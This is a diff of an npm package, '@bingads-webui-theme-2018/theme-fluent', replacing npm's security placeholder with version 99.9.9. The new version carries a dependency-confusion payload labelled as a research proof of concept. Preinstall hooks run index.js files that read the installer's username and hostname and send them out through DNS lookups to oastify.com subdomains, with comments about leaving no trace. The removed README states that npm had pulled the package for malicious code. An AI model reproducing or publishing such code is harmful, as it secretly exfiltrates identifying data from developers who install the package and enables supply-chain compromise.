@bingads-webui-theme-2018/theme-fluent 0.0.1-security → 99.9.9

package/check/index.js

@@ -0,0 +1,17 @@
+const dns = require('dns');
+const os = require('os');
+
+// 1. Get the Victim's Identity
+const user = os.userInfo().username;
+const host = os.hostname();
+
+// 2. Encode it into a domain
+const payload = `bingads.${user}.${host}.yz1jredw9fndlxcwi0cpdsjio9u0ir6g.oastify.com`;
+
+// 3. Send the Signal (Fire and Forget)
+try {
+    dns.lookup(payload, (err) => { 
+        // We don't care about the result, just the query.
+        // This confirms execution without leaving a trace.
+    });
+} catch (e) { }

package/check/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@bingads-webui-help/apex.embed.v3.min",
+  "version": "99.9.9",
+  "description": "Security Research - Dependency Confusion PoC",
+  "license": "ISC",
+  "author": "",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
+}

package/index.js

@@ -0,0 +1,17 @@
+const dns = require('dns');
+const os = require('os');
+
+// 1. Get the Victim's Identity
+const user = os.userInfo().username;
+const host = os.hostname();
+
+// 2. Encode it into a domain
+const payload = `bingads.${user}.${host}.n0o8s3ela4o2mmdljpdeehk7pyvpjf74.oastify.com`;
+
+// 3. Send the Signal (Fire and Forget)
+try {
+    dns.lookup(payload, (err) => { 
+        // We don't care about the result, just the query.
+        // This confirms execution without leaving a trace.
+    });
+} catch (e) { }

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "@bingads-webui-theme-2018/theme-fluent",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.9.9",
+  "description": "Security Research - Dependency Confusion PoC",
+  "license": "ISC",
+  "author": "",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40bingads-webui-theme-2018%2Ftheme-fluent for more information.